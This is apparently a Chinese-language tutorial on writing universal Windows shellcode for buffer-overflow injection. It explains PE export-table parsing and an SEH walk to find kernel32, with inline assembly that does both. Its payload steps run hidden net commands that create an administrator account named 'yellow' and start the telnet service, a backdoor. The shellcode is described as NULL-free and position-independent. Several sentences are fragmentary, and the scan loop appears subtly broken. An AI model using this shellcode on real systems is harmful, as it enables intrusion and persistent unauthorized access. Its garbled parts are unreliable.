Shellcode 是緩衝區溢位攻擊的核心載荷。本文從 PE 檔案格式、導出表解析、結構化異常處理(SEH)三大支柱切入,逐步構建不依賴硬編碼位址、可跨 Windows 版本運行的通用 Shellcode,並給出完整註釋的 C/內嵌組合語言實作。
關鍵結構鏈:
DOS Header (e_lfanew) → PE Header → DataDirectory[0] (Export Directory)
→ IMAGE_EXPORT_DIRECTORY
AddressOfNames → 函數名稱字串陣列 (RVA)
AddressOfFunctions → 函數入口 RVA 陣列
AddressOfNameOrdinals → 序數陣列
實作 GetFunctionByName(ImageBase, FuncName, NameLen):遍歷 AddressOfNames 比對字串,取得索引,再由 AddressOfFunctions 取得函數 RVA,加上 ImageBase 得真實位址。內嵌組語實現無標準庫依賴,適合 Shellcode 環境。
TEB(Thread Environment Block),首欄位為 SEH 鏈表頭。EXCEPTION_REGISTRATION_RECORD 鏈表至終端節點(pNext = 0xFFFFFFFF),其處理函數指向 kernel32!UnhandledExceptionFilter。MZ (0x5A4D) 與 PE (0x4550) 特徵碼,即為 Kernel32 基址。
__declspec(naked) DWORD GetKernel32() {
__asm {
push esi; push ecx
mov esi, fs:[0]
lodsd // eax = 首 SEH 記錄
find_end:
cmp [eax], 0xFFFFFFFF
je got_handler
mov eax, [eax] // 走向下一個記錄
jmp find_end
got_handler:
mov eax, [eax+4] // pHandler → UnhandledExceptionFilter
scan_mz:
and eax, 0xFFFF0000 // 64KB 對齊向下
cmp word ptr [eax], 'ZM'
jne scan_mz
mov ecx, [eax+0x3C]
cmp word ptr [eax+ecx], 'EP'
jne scan_mz
// eax 即為 Kernel32 基址
pop ecx; pop esi; ret
}
}
流程:
GetKernel32() 取得基址。GetFunctionByName 解析 LoadLibraryA、GetProcAddress。kernel32.dll、ws2_32.dll,解析所需 API(WinExec, ExitProcess, socket 等)。net user yellow low /add、net localgroup Administrators yellow /add、net start tlntsvr。WinExec(cmd, SW_HIDE) 執行,最後 ExitProcess(0) 乾淨退出。完整代碼採用「字串即時構建於堆疊」(call/pop 取得位址 + _emit 嵌入字串),無硬編碼位址、無 NULL 位元組、位置無關,適合緩衝區溢位注入。
MZ 掃描、SEH 遍歷)偵測此類 Shellcode。理解攻擊原理,才能建構更有效的防禦體系。本文僅供安全研究與教學用途。